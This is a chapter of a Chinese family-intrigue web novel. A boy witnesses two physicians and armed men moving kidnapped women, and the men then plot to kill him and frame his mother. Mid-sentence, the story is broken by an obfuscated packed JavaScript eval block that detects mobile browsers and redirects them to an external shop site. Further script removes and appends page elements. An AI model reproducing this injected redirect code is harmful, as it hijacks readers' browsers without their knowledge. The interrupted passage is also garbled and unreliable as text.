虞愿和沈怀柔离开了虞府老宅,柳姨娘也丢了管家权。虞焱胡闹,李氏便有正当的理由可以罚他。不过六七岁的年纪,心里的坏主意倒是不少。柳姨娘劝不住他,他便自个钻狗洞跑了出去。
他心里憋着一股气,觉得自己受了委屈,便想找一个安静的地方发泄一下。出了虞府老宅,他便顺着小巷,跑到了城郊外的小树林中。小孩子总有一些秘密的据点,用来捉虫子、掏鸟窝、以及藏一些自认为贵重的物品。
小树林里面草木茂密,正值春季,天气渐暖,各种鸟儿叽叽喳喳的。他在灌木丛中钻来钻去,跑累了就躺在草坪上歇息。原本被李氏惩罚的气消了不少,他便跑到一处树上小憩着。
虞焱正睡的香,突然听到远处传来一阵呵斥声。他好奇的往远处看着,什么也看不见。好奇心驱使他跳下大树,往声音传来的方向悄悄的走了过去。
声音是从一处偏僻的小院子传出来的,这地方没有田地,一片荒芜,平常很少有人往来。他隔着围墙听了一会儿,好似有女子的哭泣声。但由于他个子太小,隔着围墙往里面看却什么也看不见。
他爬到一处老槐树上面,透过围墙他看到了墙内的场景。只见院子里面有两个身穿灰色长衫的男人,看起来像是文人。一旁是几名凶神恶煞的黑衣人,他们手里拿着长刀,寒光闪闪。
院子中间,绑着几名女子,女子大部分都穿着粗布麻衣,双手被绑在身后,嘴里塞着棉布。她们无法说话,那些呜呜的声音便是她们发出来的。女子们的头发凌乱,眼里满是绝望,泪水流了满张脸。
“快点,动作麻利点!”李槐的声音带着几分不耐烦,他正是李记药铺的李大夫——李沐风。
一旁的李崔完全没有之前在虞府当府医的样子,满脸凶神恶煞。
李崔眼中透着一股狠意:“明日就是花朝节了,人多眼杂,今晚必须将她们转移走。魏大人交代过了,要是出了岔子,咱们都得死。”
一个黑衣人点头说道:“李大夫放心,一切魏大人都安排好了。马车就在后门等着,只要把她们送上马车,一切都会很顺利的。”
另一名黑衣人走上前,一把拽住女子的胳膊,粗鲁的说道:“这些小娘们长得倒是水灵,可惜啊,都是魏大人的人。”
女子拼命的挣扎着,却被死死的按住,压根动弹不得。她的模样水灵,应该是良家子女。
“别挣扎了,跟我们走你还能少吃点苦头,在这,只能死路一条!”其中一名黑衣人笑着,声音粗犷。
挣扎间,女子的耳坠掉落在地上,东西太小,黑衣人们压根没发觉。虞焱趴在树干间,看得心惊胆战。他虽然顽劣不堪,但也知道此事是坏事。那些被绑走的女子,定是被他们这群人绑过来的。
他看着地上的耳坠,那耳坠成色好,和自家娘亲盒子里面装的别无二样。他心里默默的盘算着,要是能捡了指不定能买多少蹴鞠和小玩意。
他偷偷的摸下树,悄悄的走到围墙边,趁着李槐和李崔去送人的片刻,飞快跑到院内捡了耳坠。就在跑回围墙处之时,不小心踩到了一枝枯树根。
“咔嚓。”
院子后门的李崔和李槐目送黑衣人离去,突然被轻微的声音惊动,同时看向围墙的方向,眼神中满是警惕。
“谁在哪里?”李槐厉声呵斥着,眼底闪过一丝凶狠。
虞焱吓的魂飞魄散,忙将耳坠揣怀里,转身就往相反的方向逃窜。他喘着粗气,边跑边往后查看着。
李崔立刻追了出去,但是虞焱跑的很快,一瞬间便没了踪影。他对此地很熟悉,草丛和树上都是藏身之地。况且小孩子身子小,可以钻树洞,自然而然的就跟丢了。
李崔追了一会儿,累的气喘吁吁,没找到虞焱的身影,只好无奈的返回:“那小子跑到太快,压根追不上。”
李槐看着那个方向,眉头紧锁起来,眼底满是狠厉。这个小孩的衣袍不似普通人家,一般人买不起。在当地小有名气的,且有年龄相仿的孩童的,只有那个虞家。
李崔默默咬牙道:“李槐,你说句话啊!这小孩撞见了我们的秘密,要是跑回去告诉家里人,咱们危矣!”
“要不派人找到他,将他灭口?省的他乱说。”李崔愤愤的攥紧拳头。
“又是虞家。”李槐默默道,眼里布满杀意,“那个虞愿找死,这个小孩也找死。正好,那就都杀了。”
“可是......虞愿是虞侍郎的嫡女,杀了她,会不会太冒险了?”李崔欲言又止,脸上满是担忧。
李槐摇摇头:“虞愿是虞侍郎的嫡女不错,但你我的主子是谁你可别忘了。主人若是知道,你我连这些小事都做不好,你我这条命也别要了。”
他接着说,眼里堆着笑,那笑中满是寒意:“明日便是花朝节,知县府中会举办盛大的宴会。到时候人多眼杂,正是灭口的好机会。顺势嫁祸给其他人,让别人替我们背黑锅,一石二鸟。只要死于意外,又有谁会去仔细盘查,她和那个小孩的真正死因呢。”
李崔疑惑的问道:“嫁祸给谁?虞家关系错综复杂,你我能力有限,如何操作?”
李槐嘴上勾起一抹阴险的笑容,那原本柔和的脸上,满是阴鸷:“那小男孩,是虞兴海的妾室所生。我调查过虞愿,她前些时日回乡,在虞府老宅闹了一通。那个虞焱的生母柳姨娘,估摸着正怀恨在心,没处发泄呢。若是花朝节上虞愿和虞焱起了冲突,出了事故,柳姨娘必不会善罢甘休。这样一来,既杀了虞焱这个小东西灭口,又能除掉虞愿这个麻烦,咱们双手干净,是再好不过了。”
李崔听明白后,点头回应:“李槐,还是你聪明,就按照你说的办!”
李槐看了看手中的香囊,若有所思:“今日药铺会有贵客前来。明日花朝节你好好准备,解决掉虞
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011566|192091||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
焱,定要确保万无一失。”
“哥哥明白。”
李崔躬身应下,随后往后门走去。李槐看着哥哥的背影,眼底闪过一丝阴霾,随后也离开了院子。
虞焱一路小跑回府,他气喘吁吁的跑回自己的屋子,飞速的关上了门阀。他身子靠在了门板上,心口一直砰砰跳,久久不能平复。毕竟是个六七岁的小孩,他十分的害怕,怕那些蒙面的黑衣人,还怕那两个人面兽心的家伙。
他想将刚才看到的告诉柳姨娘,但又怕柳姨娘骂他到处乱跑。要是被李氏知道了,他又少不得一顿家法。他摸出那枚耳坠,私心四起,犹豫了半天终是没有告诉任何人。
“焱哥儿。”
门外传来柳姨娘的声音,她刚才到虞焱的屋里,并没有看到儿子的身影。现下倒是听到声响,就知道是儿子偷跑出府回来了。
“娘~”虞焱松了口气,开开门阀冲到了柳姨娘怀里。刚才被吓的不轻,索性一直抱着她娘亲。
“怎么了焱哥儿?”柳姨娘轻抚着儿子的后背,眼里满是对他的娇纵与疼爱,“是不是怕主母惩罚你乱跑,所以躲起来了?”
“娘,我才不怕那个老妖婆呢!”虞焱满脸戾气,不满的撅着嘴。他可是家里的小霸王,有爹娘撑腰怕过谁。李氏那个主母,自然不在他害怕的范围内。
柳姨娘摸着儿子的额头,轻声哄着面前的这个小祖宗,脸上满是得意:“你爹爹叫我们去前厅呢,说是明日花朝节,想带你我前去。毕竟李氏那个婆娘,就是空有蛮力的蛮妇,带谁也不会带她啊。”
“就是,那个老妖婆就知道拿家法家规来压我。终有一天我会替娘亲报仇,将老妖婆手中的权利夺回来给娘亲。”虞焱扬起下巴,得意的宣告着,双手也挥了起来。
那枚耳坠,好巧不巧的掉在地上。虞焱顿时噤声,刚才还满脸得意,此刻脸色却变得难看起来。他脑袋疯狂的转动着,随即从柳姨娘怀抱中挣脱出去。
耳坠被他捡了起来,他笑笑看向柳姨娘,怯生生道:“娘亲,我路过地摊,见到此物精致,就用这个月所有的月钱买了这耳坠。但那摊主见我是个小孩,说我银子不够,就卖了我一只。”
虞焱咽着口水,他平时说谎不断,但这一次却无比的紧张。他怕娘亲看出端倪,询问他这东西究竟是从何而来。更怕李氏得知了此事迁怒于他,罚他戒尺和抄书。
或许是爱子心切,又或许是母爱的驱使。一向聪明的柳姨娘并没有多想,反倒欣然接受了这个礼物。她只觉得儿子长大了,知道和她一条战线,心疼她了。
“娘很喜欢,焱哥儿长成大孩子了,知道心疼娘亲了。”她收下耳坠,笑的温柔。
虞焱松了一口气,油嘴滑舌道:“娘亲是世界上最好的女人,等焱儿长大了,带母亲去上京,吃香的喝辣的!”
“一言为定。”柳姨娘宠溺的点了点他的脑门。